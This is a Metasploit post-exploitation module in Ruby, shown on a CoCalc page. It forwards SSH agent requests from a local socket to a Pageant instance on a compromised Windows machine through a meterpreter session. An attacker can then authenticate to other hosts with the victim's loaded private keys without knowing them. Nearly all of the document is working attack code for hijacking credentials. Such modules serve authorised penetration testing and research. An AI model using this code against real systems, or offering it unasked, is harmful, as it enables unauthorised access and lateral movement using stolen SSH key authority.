CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/manage/forward_pageant.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'tmpdir'
7
8
class MetasploitModule < Msf::Post
9
include Msf::Post::Windows::ExtAPI
10
include Msf::Post::Windows::Priv
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'Forward SSH Agent Requests To Remote Pageant',
17
'Description' => %q{
18
This module forwards SSH agent requests from a local socket to a remote Pageant instance.
19
If a target Windows machine is compromised and is running Pageant, this will allow the
20
attacker to run normal OpenSSH commands (e.g. ssh-add -l) against the Pageant host which are
21
tunneled through the meterpreter session. This could therefore be used to authenticate
22
with a remote host using a private key which is loaded into a remote user's Pageant instance,
23
without ever having knowledge of the private key itself.
24
25
Note that this requires the PageantJacker meterpreter extension, but this will be automatically
26
loaded into the remote meterpreter session by this module if it is not already loaded.
27
},
28
'License' => MSF_LICENSE,
29
'Author' => [
30
'Stuart Morgan <stuart.morgan[at]mwrinfosecurity.com>',
31
'Ben Campbell', # A HUGE amount of support in this :-)
32
],
33
'Platform' => [ 'win' ],
34
'SessionTypes' => [ 'meterpreter' ],
35
'Notes' => {
36
'Stability' => [CRASH_SAFE],
37
'Reliability' => [],
38
'SideEffects' => []
39
},
40
'Compat' => {
41
'Meterpreter' => {
42
'Commands' => %w[
43
extapi_pageant_send_query
44
]
45
}
46
}
47
)
48
)
49
register_options([
50
OptString.new('SocketPath', [false, 'Specify a filename for the local UNIX socket.', nil])
51
])
52
end
53
54
def sockpath
55
@sockpath ||= "#{Dir.tmpdir}/#{Rex::Text.rand_text_alphanumeric(8)}"
56
end
57
58
def run
59
# Check to ensure that UNIX sockets are supported
60
begin
61
::UNIXServer
62
rescue NameError
63
fail_with(Failure::BadConfig, 'This module is only supported on a Metasploit installation that supports UNIX sockets.')
64
end
65
66
unless session.commands.include?(Rex::Post::Meterpreter::Extensions::Extapi::COMMAND_ID_EXTAPI_PAGEANT_SEND_QUERY)
67
fail_with(Failure::BadConfig, 'Session does not support Meterpreter ExtAPI Pageant queries')
68
end
69
70
# Get the socket path from the user supplied options (or leave it blank to get the plugin to choose one)
71
if datastore['SocketPath']
72
# Quit if the file exists, so that we don't accidentally overwrite something important on the host system
73
if ::File.exist?(datastore['SocketPath'].to_s)
74
fail_with(Failure::BadConfig, "Socket (#{datastore['SocketPath']}) already exists. Remove it or choose another path and try again.")
75
end
76
@sockpath = datastore['SocketPath'].to_s
77
end
78
79
# Open the socket and start listening on it. Essentially now forward traffic between us and the remote Pageant instance.
80
::UNIXServer.open(sockpath) do |serv|
81
File.chmod(0o0700, sockpath)
82
83
print_status("Launched listening socket on #{sockpath}")
84
print_status("Set SSH_AUTH_SOCK variable to #{sockpath} (e.g. export SSH_AUTH_SOCK=\"#{sockpath}\")")
85
print_status('Now use any SSH tool normally (e.g. ssh-add)')
86
87
while (s = serv.accept)
88
begin
89
while (socket_request_data = s.recvfrom(8192)) # 8192 = AGENT_MAX
90
break if socket_request_data.nil?
91
92
data = socket_request_data.first
93
94
break if data.nil? || data.empty?
95
96
vprint_status("PageantJacker: Received data from socket (size: #{data.size})")
97
98
response = session.extapi.pageant.forward(data, data.size)
99
100
unless response[:success]
101
print_error("PageantJacker: Unsuccessful response received (#{translate_error(response[:error])})")
102
next
103
end
104
105
vprint_status("PageantJacker: Response received (Success='#{response[:success]}' Size='#{response[:blob].size}' Error='#{translate_error(response[:error])}')")
106
107
begin
108
s.send(response[:blob], 0)
109
rescue StandardError
110
break
111
end
112
end
113
rescue Errno::ECONNRESET
114
vprint_status('PageantJacker: Received reset from client, ignoring.')
115
end
116
end
117
end
118
end
119
120
def cleanup
121
return unless @sockpath
122
123
# Remove the socket that we created, if it still exists
124
::File.delete(@sockpath) if ::File.exist?(@sockpath)
125
ensure
126
super
127
end
128
129
def translate_error(errnum)
130
errstring = "#{errnum}: "
131
case errnum
132
when 0
133
errstring + 'No error'
134
when 1
135
errstring + 'The Pageant request was not processed.'
136
when 2
137
errstring + 'Unable to obtain IPC memory address.'
138
when 3
139
errstring + 'Unable to allocate memory for Pageant<-->Meterpreter IPC.'
140
when 4
141
errstring + 'Unable to allocate memory buffer.'
142
when 5
143
errstring + 'Unable to build Pageant request string.'
144
when 6
145
errstring + 'Pageant not found.'
146
when 7
147
errstring + 'Not forwarded.'
148
else
149
errstring + 'Unknown.'
150
end
151
end
152
end
153
154